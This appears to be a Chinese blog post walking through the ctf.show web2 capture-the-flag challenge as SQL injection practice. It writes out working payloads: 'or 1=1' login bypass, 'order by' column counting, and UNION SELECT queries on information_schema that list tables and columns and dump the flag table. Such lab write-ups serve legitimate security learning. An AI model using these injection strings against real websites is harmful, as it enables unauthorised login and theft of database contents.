sql注入学习

1、靶场:ctf.show中WEB下第2题(web2)

sql注入学习_第1张图片

2、sql注入过程示例

1、判断是否存在注入点

如下图所示,用户名输入 aaa' or 1=1 -- a,点击“登录”按钮,若可以登录成功,则存在注入点。

sql注入学习_第2张图片

或者用户名处输入 aaa' or 1=1 #,点击“登录”按钮,若可以登录成功,则存在注入点。

sql注入学习_第3张图片

  如下图所示,显示登录成功了!

sql注入学习_第4张图片

 说明: -- a--a之间有个空格,是sql语句中的一种注释,即: -- 这里是注释内容 --

            #可以紧挨着有内容,是sql语句中的另一种注释,即: #这里是注释内容

2、是否有回显点

登录成功后,展示了ctfshow,尝试让这里显示其他内容。

F12查看用户名字段为username,密码为password,使用火狐浏览器的HackBar工具尝试sql注入。

判断登录涉及的表有几个字段,order by 3时,登录显示信息正常,如下图所示:

sql注入学习_第5张图片

username=aaa' or 1=1 order by 3 #&password='12'

 order by 4时,登录显示信息异常,如下图所示:

sql注入学习_第6张图片

username=aaa' or 1=1 order by 4 #&password='12'

所以判断出,当前登录所涉及的表包含3个字段,如下图所示,使用  select 1,2,3 判断是否存在回显点。

sql注入学习_第7张图片

username=aaa' union select 1,2,3 or 1=1 #&password='12'

 3、查询该网站有几个表

username=aaa'  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,3 or 1=1  #&password='12'

或 
username=aaa'  union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,3 or 1=1  #&password='12'

username=aaaa'  union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,3 or 1=1  #&password='12'

如下图所示,查询到2个表:

sql注入学习_第8张图片

  4、查询flag表的字段

username=aaa'  union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag') ,3 or 1=1  #&password='12'

或
username=a'  union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1) ,3 or 1=1  #&password='12'

如下图所示, 查询到flag表字段只有1个也是flag。

sql注入学习_第9张图片

 5、查询表内容(查找到flag)

username=aaa'  union select 1,(select group_concat(flag) from flag) ,3 or 1=1  #&password='12'

sql注入学习_第10张图片

3、其他尝试

尝试将注入语句先后顺序调整,看看效果。

username=aaa'  or 1=1  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,3 #&password='12'

 如下图所示,这里的回显点不止显示1条数据。

sql注入学习_第11张图片

你可能感兴趣的:(安全,问题及示例,学习,安全)